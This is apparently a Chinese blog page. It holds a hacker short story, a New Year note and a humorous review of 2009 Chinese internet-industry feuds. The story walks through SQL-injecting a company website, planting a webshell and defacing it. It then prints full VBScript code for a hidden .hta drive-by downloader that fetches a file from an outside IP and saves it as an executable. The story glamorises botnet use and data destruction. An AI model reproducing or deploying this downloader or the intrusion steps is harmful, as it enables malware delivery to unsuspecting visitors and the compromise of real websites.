刀刀,住在心里的小狗
小女子有心事
封神榜Q漫画新闻周刊新闻浮世绘
好强的Q漫画作者
阿桂有趣的动画,和有趣的故事,不疯魔,不成活~
绘画功底深厚哦收藏
前辈喽。佩服他的坚持执着
几只比较火的兔子
Q版漫画有些值得学习
简直就是兽嘛。画得太好了,一些分镜作画步骤
酷
绝对的好插图
颜色很好
江湖还是那个江湖,虫虫却已不再是那个虫虫。很耐读的博客
离我很近的漫画家
POP字学习
喜欢哦
漫画画得好又是美女嫉妒哦
老师前辈关注学习
也很有趣嘻嘻
孩子气的漫画天才
一直关注IT,酷爱书
画画牛
我的个人主页
第一幕:遭遇小白
我叫小黑,黑白的黑。
小黑是我的网名,因为我是网络中的一名侠客,或者通俗点儿说是一名黑客。我很喜欢行侠仗义的感觉,我崇拜着那种武侠小说里描绘的“侠之大者”和黑社会的古惑仔义气;向往着那种刀光剑影,大碗喝酒、大口吃肉的豪情;不过我只能够在网络的江湖中掀起血雨腥风。当然主要也因为现实生活中的我……
唉,不提了,总之,我是网络中的大侠就可以。
窗外的风又开始吹了,挟裹着白色的雪花打在窗户上,冷风巧妙的绕过那层单薄的玻璃,让屋内寒气袭人。在这个仅有8平米的小房子里,我的手冻得瑟瑟发抖,看着电脑屏幕中PCShare木马中的庞大肉鸡群,我开始漫无目的翻检这些肉鸡的目录。
突然,一台肉鸡吸引了我的注意,屏幕中这台电脑的主人似乎在更新一个网站,难道这是一个网站管理员的电脑?我一下子提起了精神,先提取一下键盘记录,把他的密码搞回来再说。可不知道为什么点了查看“键盘记录”按钮N次,最终什么都提取回来,这是怎么回事儿?查看一下肉鸡的进程!
-_-||我彻底无语了,中国排名前十名的木马和病毒几乎都能够在这台肉鸡中找到,由于病毒多,相互争夺权限,也导致了我无法正常提取回这台肉鸡的键盘记录。眼看着这个肉鸡的上的小白就关闭了自己的网站后台界面,我那叫一个着急呀。
难道我真的寂寞到了极点?不知道为什么我竟然调出了木马的信使功能,给这个电脑小白发了一段话:“你电脑中的病毒真多呀!”。这段话的突然出现让似乎让这个小白有些莫名其妙,在木马的屏幕监控上,小白似乎停止了所有的操作。
“你是谁呀?”
晕,这个小白竟然用信使回复我了。我还以为她会吓得屁滚尿流的关闭电脑。
“我是黑客,我入侵了你的电脑,你害怕不害怕呀?”
“哇!黑客,好神奇呀!你能够进我电脑一定很厉害!”
“-_-||是吗?你的电脑里有好多病毒!”
“我说怎么总感觉它最近反应慢,要不黑客,你帮我杀杀毒吧!”
“o_o||”
“你刚在在更新网站?”
“对呀,我是XX房地产公司的,我刚才在更新我们新开盘的房屋价格。”
此时我在顿然醒悟,这个小白竟然是有地产界“大炮”称号的奸商公司的员工。进入他们公司的网站,里面贴满了“大炮”有经典语录的文章:“中国人太有钱,房子太便宜”、“高档房本来就是穷人买不起的”、“没买房的人都亏了”……
黑了他!
第二幕:黑客无敌
我大学毕业一年多了,在没有迈入社会之前,总以为只要学了跟计算机专业沾边的,就凭我这IQ,将来不是比尔盖茨就是乔布斯,最差也混个马云呀。不过现在看来,我只有给老板们当牛做马的份儿。每个月领着微薄的工资,在城中村简陋的板房中孤单生活。
其实我也有一段凄美的爱情故事,我和女友圆圆险些就步入洞房了,但那个冷若冰霜的准丈母娘冷酷的问我:“娶我女儿的洞房在什么地方?”这时我才发现,无论现实还是童话故事,都是一样残酷的,如果王子没有城堡,公主宁肯嫁给史瑞克,至少他在沼泽地里有木屋。彻底沦为剩男中的“剩斗士”之后,上网成为了我唯一的调剂,我多么希望我菜地里的那栋豪宅能够变成现实呀。
“没买房的人都亏了”,是呀,我连老婆都因为你们这帮奸商亏给别人了!黑掉他!这是我脑海里唯一想到的。传统文化教育我们,谦虚使人进步,骄傲使人落后。在今天这个竞争激烈,张扬自我的年代,谦虚往往失去许多机会,我小黑这个时候就不谦虚了!
说干就干,我迅速调开这个网站的新闻页面,发现网站程序是用动态语言PHP写的,网址都是类似“http://www.nongsita.com/fangzi.php?username=888”这样的动态页面,只要不是HTML之类的静态网页,就总能够找到漏洞。我于是开始在每个网址后面加入了一个“,”号,仅耗时5分钟其中一个页面就立刻爆出了MYSQL的错误提示页面。
注入点顺利的找到了,此时可以祭出辅助工具帮助进行渗透了。我调出了PHP注入中小有名气的“翔哥PHP注入工具”,这是一款能够帮助黑客进行SQL注入的最好的工具之一。
黑客小知识:所谓的SQL注入测试就是通过利用目标网站的某个页面缺少对用户传递参数控制或者控制的不够好的情况下出现的漏洞,从而达到获取、修改、删除数据,甚至控制数据库服务器、Web服务器的目的的测试方法。“翔哥PHP注入工具”能够通过一系列非常简单的操作,达到最大化的攻击测试效果。它从检测注入开始到最后控制目标系统都给出了测试步骤。
在PHP注入工具的URL一项中输入查找出的注入点网址,然后点击Check就开始进行注入漏洞的检验了。很快这家房地产公司网站的数据库名称等信息就全部被猜了出来,然后使用MySQL的提权工具进行提权,添加管理员账号,上传Webshell木马。将他们老板的照片全部PS……
第三幕:连环套,黑吃黑
CBD中心一座摩天高楼中,“大炮”因为新闻媒体报道自己公司网站被黑很不爽。他拿着一支雪茄烟,声色俱厉的训斥着下属。
“狂牛,找到这个跟我作对的家伙!”
屋子里的一个略带微胖的男人,没有说话,轻轻的点了点头,转身离去。
狂牛回到自己的办公室,开始着手分析入侵者,仅凭着直觉,他很快就找到了小黑留在网站中的后门WebShell。
狂牛冷冷一笑,他的计划很简单,在小黑的WebShell上挂一个木马,只要小黑再次向登陆他留在网站中的这个后门,就有可能会中狂牛的木马。狂牛想做的不是清除掉小黑的程序,而是直接清除掉小黑。狂牛在小黑的留下的后门网页中插入了一段iframe框架代码,这段代码指向了一个特殊的.hta的网页,随后在写字板里写下了一段代码:
<script language=vbs>
window.moveTo 4000,4000
window.resizeTo 0,0 '使hta不可见
set objshell=
Createobject('WScript.Shell')'hta是可以直接调用WScript.Shell的,不过不能调用wscript.Createobject('WScript.Shell')
downpath=objshell.ExpandEnvironmentStrings
set xml=document.createElement_x('xml')'建方xml元素调用ie的默认行为
xml.addBehavior('#default#DownLoad')
xml.async=0
xml.load('http://192.168.0.10/xx.htm')'请把exe改名放到空间上,用ftp软件上传的话,可能不行,直接放比较好
ShowAllFile(downpath)
Sub ShowAllFile(Path)
FindFileName='xx[1].htm' '这个也是你需要改的,如果上边是xx.htm,这里就是xx[1].htm
Set FSO = CreateObject('Scripting.FileSystemObject')
Set f = FSO.GetFolder(Path)
Set fc = f.SubFolders
For Each f1 in fc
If
FSO.FileExists(path&'\'&f1.name&'\'&FindFileName)
Then
FSO.CopyFile path&'\'&f1.name&'\'&FindFileName,
'c:\111.exe' '保存到c:\111.exe,可根据需要改动
'document.write '[+]Download Success !'
End If
ShowAllFile path&'\'&f1.name
Next
Set FSO = Nothing
End Sub
window.close
</script>
代码写完后,保存为.hta文件,带着木马被一并上传到了被黑的网站中。狂牛现在所做的仅是等待……
第四幕:三天后
凌晨2点,小黑刚刚打开电脑,连接上网络,突然屏幕一黑,硬盘开始疯狂的转动,小黑此时意识到大事不妙,慌忙的去拔网线,然而一切都晚了,硬盘中的数据已经全部被销毁,连主板的BIOS也被破坏,狂牛将小黑电脑BIOS启动图片修改成了一个大大的“拆”字……
新年的一年即将开始。祝福朋友们新年快乐·······
给单位做的贺卡:
来到这里将近4个月了,今天外边已经是零下30多度,在这里我仍然保有着困惑。我想这里的安天人和我一样。
没有人能够预知这样一个充满了生机的集体会最终走向何方。他们所追求的最终目标,或许就是在安天研发部的墙壁上贴着的纸贴上所写的:
“在我们生活的世界之外,有一个信息世界独立存在着,我们对他凝视深思,热忱地献出我们的青春与智慧,这是最高的幸福,是天堂。”
蜗居惯了的我不喜欢冬天,因为除了寒冷我联想不到其他的美好。
离开了熟悉的城市,我徜徉于哈尔滨这座大街小巷,
在去感受中国最北方最寒冷的城市时,我却觉得它是如此的可爱~~~
渐渐地,我习惯于哈尔滨
习惯了这冬的凛冽,冬的纯洁,冬的寂寥,冬的宁静。
亦如现在工作生活所摆着的心态,平静的像是冬。
沉寂在绝望之中,看待这世事苍凉。
我想如我一样喜欢冬的会习惯冬的人都是些孤独的人,但万不是寂寞的人,
他们只是把孤独当做一种修炼,自省内心,获得安定。
因此,我觉得对于一个对着冬有着眷恋的人来说,一定要去看最纯粹的冬。
我爱这个冬天.....
无他,有人的地方就有江湖。
从这个意义上来讲,2009年的中国互联网,还处于它的“蜗居”时代。既然是“蜗居”,难免为了水费、电费、卫生费的事,弄个面红耳赤,甚至大打出手……
——关公战的不是秦琼,是寂寞
暴力指数:★
领衔主演:Google、微软
武术指导:Linux
剧情概要:谷歌推出了免费的Chrome OS,它并没有说针对微软,但人人都这么说——谷歌生来就是颠覆微软的。于是,Chrome OS不得不去PK Windows。
观影指南:这场黑帮电影玩的是“意识流”,你根本看不到双方的交手,只是旁边有很多人在呐喊助威。
点评:
无论如何,让Google Chrome OS去和微软的Windows放到一起竞争,都有点“关公战秦琼”的味道。但好事者偏偏不信邪——谷歌生来就是颠覆微软的,为什么它推出的操作系统不去会一会对手?
现实要让所有人失望了。对于Chrome OS,你可以期待它的未来,天花乱坠,但现实会将你打入冰窖。
首先,它是冲着上网本而来。近年来上网本的销量飞速增长,这为谷歌提供了契机,而且谷歌倡导的“互联网才是未来”也与上网本的定位颇为呼应。但这肯定是一场旷日持久的战争,即便谷歌赢得了胜利,上网本依然无法彻底取代整个PC市场。
其次,至少在目前,谷歌还缺乏众多软硬件厂商的支持。在web里使用photoshop这样的大家伙,这听上去确实有些疯狂,更别提类似maya、3dmax等更恐怖的应用。而在硬件驱动方面,微软有自己庞大的支持阵营,并且利益渊源颇深,谷歌虽是“新宠”,但短时间难以撼动。
再次,这个就是意识形态上的问题了,微软代表了“软件时代”,谷歌代表了“互联网时代”,与其说是Chrome OS与Windows的对抗,不如说是两大阵营、两大意识形态的对抗,要想取得完胜,敌人绝不是微软一家,而是以微软为首的软件家族。
即使做完了这一切,谷歌还要过用户的一关。它必须说服用户相信将自己的一切数据,包括隐私存放在谷歌的服务器上,以实现云计算的伟大理想。要将数据放在其他电脑里,而不担心有一天它们不翼而飞或者被用作不正当用途,这并不容易。
图:小月
——问君能有几多愁,恰似B2C盈利没盼头
暴力指数:★★★
领衔主演:卓越亚马逊、当当、京东商城等
武术指导:Amazon
剧情概要:当当宣布“全场运费免费”,卓越亚马逊也宣布“全场免运费”,当当回应“不惧对手”。两者的明争暗斗又一次浮现。
观影指南:血拼开始了。就当是看一场拔河比赛吧,一边喊“加油”,一边等着哪一边抗不住先倒地。顺便祈祷“不要因为免运费而让快递服务大打折扣”。
点评:
有人说互联网的下一个金矿一定是电子商务,但从目前的B2C平台上来看,现实很残酷。卓越亚马逊和当当背景挺相似,都是垂直电子商务定位,都是靠图书、音像类商品起家,又都在尝试扩大产品线走多元化的道路。
对于这么两家相似的B2C公司来说,本应该惺惺相惜,但视对方为“眼中钉”、“假想敌”的彼此,早已经忘了他们共同的敌人——图书、音像类商品的利润率偏薄。要想在电子商务平台经营上实现突破,在规模化的同时,必须有更高的利润追求。
实际上不仅仅是卓越和当当,京东商城、新蛋乃至凡客诚品等新兴的B2C平台,都面临着同样的问题。“构建网络上的沃尔玛”是他们共同的追求。
从这个意义上来看待当当和卓越的“免运费”之争,这可以说只算得一场小战役,输赢并不决定大势。
2009年的电子商务领域,有人笑,有人哭,但“五十步不笑百步”,圈的地再多,交易量再大,没有什么利润已经是共同的尴尬。京东商城的营业额已经高得吓人,但其诞生几年以来,一分钱都没有赚过。
C2C平台也好不到哪里去。占据绝对垄断地位的淘宝网算是活得最滋润的一家,但有些变味的是,这一平台从盈利模式来讲,实际已经将自己变成了一个媒体,它的主要收入来源是靠推荐商户赚取“广告费”。这似乎并不是电子商务的初衷。或者说,人们对电子商务的期望值,应该不止于此。
——生活就像是超女,熬到最后的都是纯爷们
暴力指数:★★★★★
领衔主演:搜狐、优酷、优朋普乐、迅雷等
武术指导:张朝阳
剧情概要:以搜狐、优朋普乐等为主体的“反盗版联盟”将优酷、迅雷等告上法庭,优酷反诉“名誉侵权”,迅雷指责该联盟为“虚假联盟”。
观影指南:观看这一场争斗要戴好钢盔帽,穿上防弹衣,还要随时准备拨打110。因为它已经不是“口水战”、“诉讼战”这么简单,甚至差点真人PK。
点评:
抛开各家的利益诉求不谈,单论视频网站的盗版问题,要想让行业健康可持续发展,必须解决。或许诉讼不是最好的手段,实际上,过去的若干年里,关于知识产权的诉讼已经多如牛毛,盗版的问题依然没有得到解决。
说到底,盗版问题其实就是一个“钱”的问题,中国人向来推崇“不患寡而患不均”,版权方在乎的是,视频网站靠风险投资和广告主养活的时候,“自己却一毛钱都没拿到”。但视频网站考虑的又是:如果把钱都砸在购买版权上,恐怕死得更快。
这种利益的冲突、矛盾的纠结实际上正是视频行业现状的最佳注脚。悬在视频网站头上,不仅有版权问题,还有高成本投入、政策风险、盈利模式不明确等诸多问题。酷6网刚刚选择了“贱卖”退出,投资人已经没有了信心和耐心。
2010年必将是视频网站的生死考验期,上一轮风险投资即将枯竭、盈利不足以支撑运营、新竞争对手的加入、版权纠纷的持续,种种矛盾都可能在这一年摆在桌面上,哪一个问题处理不好,都可能葬送前程,看不到明天的太阳。
——谁为谁憔悴,谁因谁枯萎
暴力指数:★★★★
领衔主演:360、微软、金山、瑞星等
武术指导:周鸿祎
剧情概要:360抛弃了“激活码”,推出了免费杀毒软件,成为杀毒软件业内公敌。这一领域迅速进入明争暗夺的混乱年代。金山与360浮出水面的“口水战”也来源于此。
观影指南:戴好头盔,打好雨伞,准备迎接口水的洗礼。但请保持微笑,因为这是2009年所有江湖斗争中,最让用户得益的一个。免费不一定能统治这个世界,但它能让收费不再肆无忌惮。
点评:
哪里有周鸿祎,哪里就不会寂寞。这一次,倒霉的是杀毒软件厂商。
从宣布免费开始,一个月时间,360的“战报”不断传来——到现在,其装机量已经超过5000万台,据说周鸿祎还不满意这个战果,要想在年底突破1亿台。
——假作真时真亦假,无为有时有还无
暴力指数:★★★
领衔主演:真假开心网
武术指导:陈一舟
剧情概要:千橡拿下kaixin.com域名,推出山寨版开心网,服务功能、首页设计与开心网如出一辙。开心网以“不正当竞争”为由将千橡告上法庭。
观影指南:带上一只“墨镜”,能够辨别真伪。根本无需理会法庭最后判别的结果,在道德法庭上,鄙视窃取胜利果实者,要多鄙视,有多鄙视。
点评: